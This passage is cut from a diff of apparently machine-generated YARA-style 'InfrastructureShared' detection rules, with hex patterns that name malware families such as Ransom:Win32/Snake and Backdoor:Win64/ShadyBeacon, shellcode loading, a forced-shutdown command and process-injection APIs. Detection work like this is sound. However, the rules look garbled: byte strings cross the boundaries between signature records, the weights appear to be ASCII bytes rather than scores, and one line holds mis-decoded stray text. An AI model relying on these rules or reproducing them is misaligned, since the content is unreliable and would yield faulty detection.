cd c1 f9 1f 01 eb 11 ca 81 c6 00 00 1a 3d 81 d2 eb 03 b2 a1 90 01 04 e8 90 01 04 31 c0 90 00 00 00 78 a5 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a 61 69 6b 2e 4e 48 21 4d 54 42 00 02 00 1c 01 85 f6 75 15 e8 91 f4 ff ff c7 00 16 00 00 00 e8 ac f3 ff ff 83 c8 ff eb 3c 8b 46 0c 01 00 05 01 61 67 65 6e 74 01 00 10 01 73 68 75 74 64 6f 77 6e 20 2f 72 20 2f 74 20 30 01 00 3d 01 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 53 74 } //-30401 - $a_20_5 = {65 6e 75 5c 50 72 6f 67 72 61 6d 73 5c 53 74 61 72 74 75 70 00 00 78 a5 00 00 05 00 05 00 05 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 41 64 64 65 6e 64 75 6d 00 01 00 12 00 45 00 4d 00 67 00 72 00 5f 00 4d 00 61 00 69 00 6e 00 01 00 19 02 41 00 64 00 64 00 65 00 6e 00 90 02 08 5f 00 4d 00 61 00 69 00 6e 00 90 00 01 00 2c 00 61 00 64 00 64 } //29281 + $a_01_3 = {04 45 0f 57 ff 4c 8b 35 da 68 54 00 65 4d 8b 36 4d 8b 36 0f b6 44 24 1f 84 c0 74 12 90 00 00 00 78 a5 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 68 61 64 61 6d 61 6e 74 68 79 73 2e 41 48 43 21 4d 54 42 00 03 00 38 01 48 c1 e8 10 88 44 14 3d 48 8b c1 48 c1 e8 18 88 44 14 3c 48 8b c1 48 c1 e8 20 88 44 14 3b 48 8b c1 48 c1 e8 28 88 44 14 3a 48 8b c1 88 4c 14 3f 48 c1 e8 30 48 c1 e9 38 02 00 } //-6136 + $a_d0_4 = {8b fc 41 8b c2 45 8b e1 c1 c8 02 46 8d 0c 07 33 d0 8b fb 41 8b c5 49 83 c3 04 23 c3 41 8b dd 33 c8 45 8b ea 03 d1 46 8d 14 02 49 81 fb 00 01 00 00 0f 00 } //309 + $a_00_5 = {00 05 00 05 00 03 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 53 6e 61 6b 65 2e 42 50 00 01 00 0c 00 47 6f 20 62 75 69 6c 64 20 49 44 3a 02 00 24 03 96 88 44 2c 90 01 01 96 45 39 d5 90 01 02 0f b6 34 2b 90 02 03 39 c5 90 01 02 0f b6 3c 29 31 fe 83 fd 90 00 02 00 45 03 bb 00 ca 9a 3b 89 d1 f7 e3 81 e1 ff ff ff 3f 89 c3 01 c8 89 c6 05 00 00 1a 3d 90 01 03 69 ed 00 ca 9a 3b 01 ea 89 cd c1 f9 1f 01 eb 11 ca 81 c6 00 00 1a 3d 81 d2 eb 03 b2 a1 90 01 04 e8 90 01 04 31 c0 90 00 00 } //30720 condition: - ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*267+(#a_67_2 & 1)*30318+(#a_01_3 & 1)*-6136+(#a_01_4 & 1)*-30401+(#a_20_5 & 1)*29281) >=4 + ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*267+(#a_67_2 & 1)*30318+(#a_01_3 & 1)*-6136+(#a_d0_4 & 1)*309+(#a_00_5 & 1)*30720) >=4 } -rule _InfrastructureShared_11432{ +rule _InfrastructureShared_12175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 6e 76 61 67 65 6e 74 2e 4e 43 21 4d 54 42 00 03 00 40 03 48 89 81 f8 03 00 00 48 8b 44 24 30 48 89 81 e8 03 00 00 48 8d 44 24 38 48 89 81 f0 03 00 00 b8 01 00 00 } //21539 - $a_01_1 = {01 31 c0 eb 02 31 c0 48 89 4c 24 20 88 44 24 1f 48 8b 15 f2 f6 4b 00 90 00 02 00 31 03 48 89 14 24 48 8d 91 b8 03 00 00 48 89 54 24 08 e8 90 01 04 45 0f 57 ff 4c 8b 35 da 68 54 00 65 4d 8b 36 4d 8b 36 0f b6 44 24 1f 84 c0 74 12 90 00 00 00 78 a5 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 53 6e 61 6b 65 2e 42 50 00 01 00 0c 00 47 6f 20 62 75 69 6c 64 20 49 44 3a 02 00 24 03 96 88 44 2c 90 01 } //-5376 + $a_01_1 = {01 31 c0 eb 02 31 c0 48 89 4c 24 20 88 44 24 1f 48 8b 15 f2 f6 4b 00 90 00 02 00 31 03 48 89 14 24 48 8d 91 b8 03 00 00 48 89 54 24 08 e8 90 01 04 45 0f 57 ff 4c 8b 35 da 68 54 00 65 4d 8b 36 4d 8b 36 0f b6 44 24 1f 84 c0 74 12 90 00 00 00 78 a5 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 68 61 64 61 6d 61 6e 74 68 79 73 2e 41 48 43 21 4d 54 42 00 03 00 38 01 48 c1 e8 10 88 44 14 3d 48 8b } //-5376 condition: ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-5376) >=5 } -rule _InfrastructureShared_11433{ +rule _InfrastructureShared_12176{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 68 61 64 61 6d 61 6e 74 68 79 73 2e 41 48 43 21 4d 54 42 00 03 00 38 01 48 c1 e8 10 88 44 14 3d 48 8b c1 48 c1 e8 18 88 44 14 3c 48 8b c1 48 c1 e8 20 88 44 14 3b 48 } //21539 + $a_c1_1 = {28 88 44 14 3a 48 8b c1 88 4c 14 3f 48 c1 e8 30 48 c1 e9 38 02 00 35 01 33 d0 45 8b fc 41 8b c2 45 8b e1 c1 c8 02 46 8d 0c 07 33 d0 8b fb 41 8b c5 49 83 c3 04 23 c3 41 8b dd 33 c8 45 8b ea 03 d1 46 8d 14 02 49 81 fb } //-15989 + condition: + ((#a_4c_0 & 1)*21539+(#a_c1_1 & 1)*-15989) >=5 + +} +rule _InfrastructureShared_12177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -125854,20 +134181,7 @@ rule _InfrastructureShared_11433{ ((#a_4c_0 & 1)*21539+(#a_31_1 & 1)*15542+(#a_ea_2 & 1)*15258) >=5 } -rule _InfrastructureShared_11434{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a 61 69 6b 2e 4e 48 21 4d 54 42 00 02 00 1c 01 85 f6 75 15 e8 91 f4 ff ff c7 00 16 00 00 00 e8 ac f3 ff ff 83 c8 ff eb 3c 8b 46 0c 01 00 05 01 61 67 65 6e 74 01 00 10 01 73 68 75 74 64 6f } //16675 - $a_2f_1 = {20 2f 74 20 30 01 00 3d 01 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 4d 69 63 72 6f 73 6f } //28279 ⼠⁴İ㴀䄁灰慄慴剜慯業杮䵜捩潲潳 - $a_57_2 = {6e 64 6f 77 73 5c 53 74 61 72 74 20 4d 65 6e 75 5c 50 72 6f 67 72 61 6d 73 5c 53 74 61 72 74 75 70 00 00 78 a5 00 00 05 00 05 00 05 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 41 64 64 65 6e 64 75 6d 00 01 00 12 00 45 00 4d 00 67 00 72 00 5f 00 4d 00 61 00 69 00 6e 00 01 } //29798 - $a_41_3 = {64 00 } //6400 d - condition: - ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*28279+(#a_57_2 & 1)*29798+(#a_41_3 & 1)*6400) >=5 - -} -rule _InfrastructureShared_11435{ +rule _InfrastructureShared_12178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -125880,7 +134194,7 @@ rule _InfrastructureShared_11435{ ((#a_77_0 & 1)*16675+(#a_00_2 & 1)*99+(#a_30_3 & 1)*12336+(#a_73_4 & 1)*30559) >=5 } -rule _InfrastructureShared_11436{ +rule _InfrastructureShared_12179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -125893,7 +134207,7 @@ rule _InfrastructureShared_11436{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*13105+(#a_65_2 & 1)*385+(#a_32_3 & 1)*12336) >=5 } -rule _InfrastructureShared_11437{ +rule _InfrastructureShared_12180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -125907,7 +134221,7 @@ rule _InfrastructureShared_11437{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*819+(#a_00_2 & 1)*19539+(#a_70_3 & 1)*29264+(#a_81_4 & 1)*1) >=5 } -rule _InfrastructureShared_11438{ +rule _InfrastructureShared_12181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -125921,7 +134235,7 @@ rule _InfrastructureShared_11438{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28783+(#a_21_2 & 1)*12849+(#a_00_3 & 1)*29554+(#a_73_4 & 1)*385) >=5 } -rule _InfrastructureShared_11439{ +rule _InfrastructureShared_12182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -125930,12 +134244,12 @@ rule _InfrastructureShared_11439{ $a_72_1 = {73 65 73 20 72 61 79 6e 61 72 64 20 65 6e 6e 65 61 74 69 63 61 6c 01 00 0b 81 01 6c 6b 72 65 20 6b 72 73 6c 65 6e 01 00 14 81 01 6b 61 72 64 65 62 6f 6c 6c 65 20 75 6e 64 65 72 6c 61 69 64 00 00 78 a5 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4f 4f 5a 31 32 33 21 4d 54 42 00 01 00 16 81 01 57 69 } //29541 $a_70_2 = {43 6f 6d 70 75 74 69 6e 67 2c 20 53 2e 4c 2e 01 00 1b 81 01 42 61 6e 6b 20 6f 66 20 41 6d 65 72 69 63 61 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 17 81 01 74 6f 6c 65 72 61 74 69 6f 6e 73 20 6c 67 67 65 6e 65 73 2e 65 78 65 01 00 0b 81 01 50 61 63 74 69 76 20 43 6f 72 70 01 00 0f 81 01 53 63 68 6f 6c 61 73 74 69 } //23150 $a_6f_3 = {70 00 00 78 a5 00 00 05 00 05 00 05 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4c 69 6e 6b 75 72 79 00 01 00 11 80 01 73 65 74 5f 4c 69 6e 6b 75 72 79 45 78 65 44 69 72 01 00 19 80 01 4c 69 6e 6b 75 72 79 } //8291 - $a_74_4 = {6c 6c 61 74 69 6f 6e 46 6f 6c 64 65 72 01 00 24 80 01 42 61 73 69 63 4c 69 6e 6b 54 6f 4f 66 66 65 72 73 4d 61 6e 61 67 65 72 43 6c 6f 75 64 53 65 72 76 69 63 65 01 00 0c 80 01 53 6d 61 72 74 42 61 72 4e 61 6d 65 01 00 16 80 01 54 61 73 6b 62 61 72 4e 6f 74 69 66 69 65 72 45 78 65 50 61 74 68 00 00 78 a5 00 00 05 00 05 00 07 00 21 23 41 4c 46 } //28233 + $a_74_4 = {6c 6c 61 74 69 6f 6e 46 6f 6c 64 65 72 01 00 24 80 01 42 61 73 69 63 4c 69 6e 6b 54 6f 4f 66 66 65 72 73 4d 61 6e 61 67 65 72 43 6c 6f 75 64 53 65 72 76 69 63 65 01 00 0c 80 01 53 6d 61 72 74 42 61 72 4e 61 6d 65 01 00 16 80 01 54 61 73 6b 62 61 72 4e 6f 74 69 66 69 65 72 45 78 65 50 61 74 68 00 00 78 a5 00 00 05 00 05 00 06 00 21 23 41 4c 46 } //28233 condition: ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29541+(#a_70_2 & 1)*23150+(#a_6f_3 & 1)*8291+(#a_74_4 & 1)*28233) >=5 } -rule _InfrastructureShared_11440{ +rule _InfrastructureShared_12183{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -125943,27 +134257,54 @@ rule _InfrastructureShared_11440{ $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4f 4f 5a 31 32 33 21 4d 54 42 00 01 00 16 81 01 57 69 6e 5a 69 70 20 43 6f 6d 70 75 74 69 6e 67 2c 20 53 2e 4c 2e 01 00 1b 81 01 42 61 6e 6b 20 6f 66 20 41 6d 65 72 69 63 61 20 43 6f 72 70 6f 72 61 } //18467 $a_6e_1 = {00 17 81 01 74 6f 6c 65 72 61 74 69 6f 6e 73 20 6c 67 67 65 6e 65 73 2e 65 78 65 01 00 0b 81 01 50 61 63 74 69 76 20 43 6f 72 70 01 00 0f 81 01 53 63 68 6f 6c 61 73 74 69 63 20 43 6f 72 70 00 00 78 a5 00 00 05 00 05 00 05 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4c 69 6e 6b 75 72 79 00 01 00 11 80 01 73 65 74 5f 4c 69 6e 6b 75 72 79 } //26996 $a_44_2 = {72 01 00 19 80 01 4c 69 6e 6b 75 72 79 49 6e 73 74 61 6c 6c 61 74 69 6f 6e 46 6f 6c 64 65 72 01 00 24 80 01 42 61 73 69 63 4c 69 6e 6b 54 6f 4f 66 66 65 72 73 4d 61 6e 61 67 65 72 43 6c 6f 75 64 53 65 72 76 69 63 65 01 00 0c 80 01 53 6d 61 72 74 42 61 72 4e 61 6d 65 01 00 16 80 01 54 61 73 6b 62 61 72 } //30789 - $a_69_3 = {69 65 72 45 78 65 50 61 74 68 00 00 78 a5 00 00 05 00 05 00 07 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 54 4e 54 32 43 48 52 4f 4d 45 36 34 2e 41 31 00 02 00 0e 01 55 6e 49 6e 6a 4c 69 62 36 34 2e 64 6c 6c 02 00 10 01 74 6e 74 32 63 68 72 6f 6d 65 36 34 2e 64 6c 6c 01 00 09 01 4d 6f 6e 69 74 6f 72 49 45 01 00 19 01 49 45 4d 6f 6e 69 74 6f 72 } //28494 - $a_64_4 = {77 43 6c 61 73 73 5f 49 4d 45 41 01 00 0d 01 53 75 70 65 72 48 6f 6f 6b 50 72 6f 63 01 00 0b 01 55 6e 49 6e 74 65 72 63 65 70 74 01 00 0b 01 49 6e 74 65 72 63 65 70 74 45 78 00 00 78 a5 00 00 05 00 05 00 07 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4d 79 61 74 6c 61 6e 74 69 73 2e 43 21 64 68 61 } //26967 + $a_69_3 = {69 65 72 45 78 65 50 61 74 68 00 00 78 a5 00 00 05 00 05 00 06 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 53 68 61 64 79 42 65 61 63 6f 6e 2e 41 21 64 68 61 00 01 00 09 01 52 65 63 69 65 76 65 64 3a 01 00 14 01 52 65 73 69 65 76 65 64 20 74 61 73 6b 20 61 72 72 61 79 3a 01 00 0c 01 2f 54 65 6d 70 2f 2e 63 72 6f 6e 64 01 00 } //28494 + $a_69_4 = {6e 61 6c 20 72 65 63 69 65 76 65 64 2e 20 53 68 75 74 74 69 6e 67 20 64 6f 77 6e 20 70 72 6f 78 79 01 00 09 01 73 63 72 65 65 6e 63 61 74 01 00 08 01 67 65 74 54 61 73 6b 73 00 00 78 a5 00 00 05 00 05 00 06 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 53 75 73 70 44 4c 4c 45 78 70 6f 72 74 73 2e 41 00 01 00 14 01 00 43 72 65 61 74 65 52 65 6d 6f 74 } //292 condition: - ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*26996+(#a_44_2 & 1)*30789+(#a_69_3 & 1)*28494+(#a_64_4 & 1)*26967) >=5 + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*26996+(#a_44_2 & 1)*30789+(#a_69_3 & 1)*28494+(#a_69_4 & 1)*292) >=5 } -rule _InfrastructureShared_11441{ +rule _InfrastructureShared_12184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_41_0 = {42 6c 6f 63 6b 3a 4c 69 6e 6b 75 72 79 00 01 00 11 80 01 73 65 74 5f 4c 69 6e 6b 75 72 79 45 78 65 44 69 72 01 00 19 80 01 4c 69 6e 6b 75 72 79 49 6e 73 74 61 6c 6c 61 74 69 6f 6e 46 6f 6c 64 65 72 01 00 24 80 01 42 61 73 69 63 4c 69 6e 6b 54 6f 4f 66 66 } //20515 - $a_4d_1 = {6e 61 67 65 72 43 6c 6f 75 64 53 65 72 76 69 63 65 01 00 0c 80 01 53 6d 61 72 74 42 61 72 4e 61 6d 65 01 00 16 80 01 54 61 73 6b 62 61 72 4e 6f 74 69 66 69 65 72 45 78 65 50 61 74 68 00 00 78 a5 00 00 05 00 05 00 07 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 54 4e 54 32 43 48 52 4f 4d 45 36 34 2e 41 31 00 02 00 0e 01 55 6e 49 6e 6a 4c 69 62 } //29285 - $a_64_2 = {6c 02 00 10 01 74 6e 74 32 63 68 72 6f 6d 65 36 34 2e 64 6c 6c 01 00 09 01 4d 6f 6e 69 74 6f 72 49 45 01 00 19 01 49 45 4d 6f 6e 69 74 6f } //13366 - $a_6e_3 = {6f 77 43 6c 61 73 73 5f 49 4d 45 41 01 00 0d 01 53 75 70 65 72 48 6f 6f 6b 50 72 6f 63 01 00 0b 01 55 6e 49 6e 74 65 72 63 65 70 74 01 00 0b 01 49 6e 74 65 72 63 65 70 74 45 78 00 00 78 a5 00 00 05 00 05 00 07 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4d 79 61 74 6c 61 6e 74 69 73 } //22386 - $a_64_4 = {61 00 01 00 11 01 4d 65 6d 6c 6f 61 64 20 73 68 65 6c 6c 63 6f 64 65 01 00 09 01 6d 5f 52 63 34 4b } //17198 + $a_4d_1 = {6e 61 67 65 72 43 6c 6f 75 64 53 65 72 76 69 63 65 01 00 0c 80 01 53 6d 61 72 74 42 61 72 4e 61 6d 65 01 00 16 80 01 54 61 73 6b 62 61 72 4e 6f 74 69 66 69 65 72 45 78 65 50 61 74 68 00 00 78 a5 00 00 05 00 05 00 06 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 53 68 61 64 79 42 65 61 63 6f 6e 2e 41 21 64 68 61 00 01 00 09 } //29285 + $a_63_2 = {65 76 65 64 3a 01 00 14 01 52 65 73 69 65 76 65 64 20 74 61 73 6b 20 61 72 72 61 79 3a 01 00 0c 01 2f 54 65 6d 70 2f 2e 63 72 6f 6e 64 01 00 24 01 73 69 67 6e 61 6c 20 72 65 63 69 65 76 65 64 2e 20 53 68 75 74 74 69 6e 67 20 64 6f 77 6e 20 70 72 6f 78 79 01 00 09 01 73 63 72 65 65 6e 63 61 74 01 00 08 } //20993 + $a_74_3 = {61 73 6b 73 00 00 78 a5 00 00 05 00 05 00 06 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 53 75 73 70 44 4c 4c 45 78 70 6f 72 74 73 2e 41 00 01 00 14 01 00 43 72 65 61 74 65 52 65 6d 6f 74 65 54 68 72 65 61 64 00 01 00 0d 01 00 4f 70 65 6e 50 72 6f 63 65 73 73 00 01 00 10 01 00 56 69 72 74 75 61 6c 41 6c 6c } //26369 + $a_78_4 = {01 00 14 01 00 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 01 00 16 01 00 5a 77 55 6e 6d 61 70 56 69 65 77 4f 66 53 65 63 74 69 6f 6e 00 01 00 0d 01 00 43 6c 6f 73 65 48 61 6e 64 6c 65 00 00 00 } //25455 condition: - ((#a_41_0 & 1)*20515+(#a_4d_1 & 1)*29285+(#a_64_2 & 1)*13366+(#a_6e_3 & 1)*22386+(#a_64_4 & 1)*17198) >=5 + ((#a_41_0 & 1)*20515+(#a_4d_1 & 1)*29285+(#a_63_2 & 1)*20993+(#a_74_3 & 1)*26369+(#a_78_4 & 1)*25455) >=5 } -rule _InfrastructureShared_11442{ +rule _InfrastructureShared_12185{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 53 68 61 64 79 42 65 61 63 6f 6e 2e 41 21 64 68 61 00 01 00 09 01 52 65 63 69 65 76 65 64 3a 01 00 14 01 52 65 73 69 65 76 65 64 20 74 61 73 6b 20 61 72 72 61 79 3a 01 00 0c 01 2f 54 } //16675 + $a_2f_1 = {63 72 6f 6e 64 01 00 24 01 73 69 67 6e 61 6c 20 72 65 63 69 65 76 65 64 2e 20 53 68 75 74 74 69 6e 67 20 64 6f 77 6e 20 70 72 6f 78 79 01 00 09 01 73 63 72 65 65 6e 63 61 74 01 00 08 01 67 65 74 54 61 73 6b 73 00 00 78 a5 00 00 05 00 05 00 06 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 53 75 73 70 44 4c 4c 45 78 70 6f 72 74 73 2e 41 00 01 } //28005 + $a_00_2 = {43 } //5120 C + $a_74_3 = {52 65 6d 6f 74 65 54 68 72 65 61 64 00 01 00 0d 01 00 4f 70 65 6e 50 72 6f 63 65 73 73 00 01 00 10 01 00 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 00 01 00 14 01 00 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 01 00 16 01 00 5a 77 55 6e 6d 61 70 56 69 65 77 4f 66 53 65 63 74 69 } //25970 + $a_00_5 = {43 } //3328 C + condition: + ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*28005+(#a_00_2 & 1)*5120+(#a_74_3 & 1)*25970+(#a_00_5 & 1)*3328) >=5 + +} +rule _InfrastructureShared_12186{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " + + strings : + $a_54_0 = {3a 4d 53 49 4c 2f 53 75 73 70 44 4c 4c 45 78 70 6f 72 74 73 2e 41 00 01 00 14 01 00 43 72 65 61 74 65 52 65 6d 6f 74 65 54 68 72 65 61 64 00 01 00 0d 01 00 4f 70 65 6e 50 72 6f 63 65 73 73 00 01 00 10 01 00 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 } //18467 + $a_69_2 = {65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 01 00 16 01 00 5a 77 55 6e 6d 61 70 56 69 65 77 4f 66 53 65 63 74 69 6f 6e 00 01 00 0d 01 00 43 6c 6f 73 65 48 61 6e 64 6c 65 00 00 00 78 a5 00 00 05 00 05 00 07 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 54 4e 54 32 43 48 52 4f 4d 45 36 34 2e 41 31 00 02 00 0e 01 55 6e 49 6e 6a 4c 69 62 36 34 } //22272 + $a_6c_3 = {00 10 01 74 6e 74 32 63 68 72 6f 6d 65 36 34 2e 64 6c 6c 01 00 09 01 4d 6f 6e 69 74 6f 72 49 45 01 00 19 01 49 45 4d 6f 6e 69 74 6f 72 57 69 6e 64 6f 77 43 6c 61 73 73 5f 49 4d 45 41 01 00 0d 01 53 75 70 65 72 48 6f 6f 6b 50 72 6f 63 01 00 0b 01 55 6e 49 6e 74 65 72 63 65 70 74 01 00 0b 01 49 6e 74 65 72 63 65 70 74 45 78 } //25646 + $a_a5_4 = {00 05 00 05 00 07 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4d 79 61 74 6c 61 6e 74 69 73 2e 43 21 64 68 61 00 01 00 11 01 4d 65 6d 6c 6f 61 64 20 73 68 65 6c 6c 63 6f 64 65 01 00 09 01 6d 5f 52 63 34 4b 65 79 73 01 00 10 01 2f 00 6d 00 25 00 75 00 2e 00 6a 00 73 00 70 00 01 00 0f 01 69 63 6d 70 5f 77 61 6b 65 75 70 5f 68 64 } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_69_2 & 1)*22272+(#a_6c_3 & 1)*25646+(#a_a5_4 & 1)*0) >=5 + +} +rule _InfrastructureShared_12187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -125979,7 +134320,7 @@ rule _InfrastructureShared_11442{ ((#a_46_0 & 1)*16675+(#a_49_1 & 1)*6400+(#a_74_2 & 1)*28271+(#a_69_3 & 1)*28257+(#a_6d_4 & 1)*24833+(#a_b4_5 & 1)*0+(#a_67_6 & 1)*12108) >=5 } -rule _InfrastructureShared_11443{ +rule _InfrastructureShared_12188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -125994,7 +134335,7 @@ rule _InfrastructureShared_11443{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*46+(#a_56_3 & 1)*11873+(#a_01_4 & 1)*28422+(#a_65_5 & 1)*24933+(#a_00_6 & 1)*2582) >=5 } -rule _InfrastructureShared_11444{ +rule _InfrastructureShared_12189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -126005,7 +134346,7 @@ rule _InfrastructureShared_11444{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28596) >=6 } -rule _InfrastructureShared_11445{ +rule _InfrastructureShared_12190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -126020,7 +134361,7 @@ rule _InfrastructureShared_11445{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*-32498+(#a_49_2 & 1)*29793+(#a_32_3 & 1)*22349+(#a_66_4 & 1)*385+(#a_4d_5 & 1)*12850) >=6 } -rule _InfrastructureShared_11446{ +rule _InfrastructureShared_12191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -126035,7 +134376,7 @@ rule _InfrastructureShared_11446{ ((#a_54_0 & 1)*18467+(#a_77_1 & 1)*28521+(#a_42_2 & 1)*19745+(#a_74_3 & 1)*31090+(#a_6d_4 & 1)*17153+(#a_54_5 & 1)*16673) >=6 } -rule _InfrastructureShared_11447{ +rule _InfrastructureShared_12192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -126050,7 +134391,7 @@ rule _InfrastructureShared_11447{ ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*385+(#a_4d_2 & 1)*28257+(#a_6f_3 & 1)*385+(#a_6e_4 & 1)*18029+(#a_67_5 & 1)*30050) >=6 } -rule _InfrastructureShared_11448{ +rule _InfrastructureShared_12193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -126065,7 +134406,7 @@ rule _InfrastructureShared_11448{ ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*-32504+(#a_65_2 & 1)*31042+(#a_65_3 & 1)*28233+(#a_53_4 & 1)*8448+(#a_00_5 & 1)*-31473) >=6 } -rule _InfrastructureShared_11449{ +rule _InfrastructureShared_12194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -126080,7 +134421,7 @@ rule _InfrastructureShared_11449{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*26471+(#a_00_2 & 1)*65+(#a_f8_3 & 1)*16641+(#a_00_4 & 1)*7+(#a_61_5 & 1)*28530) >=6 } -rule _InfrastructureShared_11450{ +rule _InfrastructureShared_12195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -126094,7 +134435,7 @@ rule _InfrastructureShared_11450{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*-17919+(#a_fe_3 & 1)*16640+(#a_b4_4 & 1)*-28416+(#a_00_5 & 1)*30720) >=6 } -rule _InfrastructureShared_11451{ +rule _InfrastructureShared_12196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -126110,7 +134451,7 @@ rule _InfrastructureShared_11451{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*4127+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 } -rule _InfrastructureShared_11452{ +rule _InfrastructureShared_12197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -126124,7 +134465,7 @@ rule _InfrastructureShared_11452{ ((#a_54_0 & 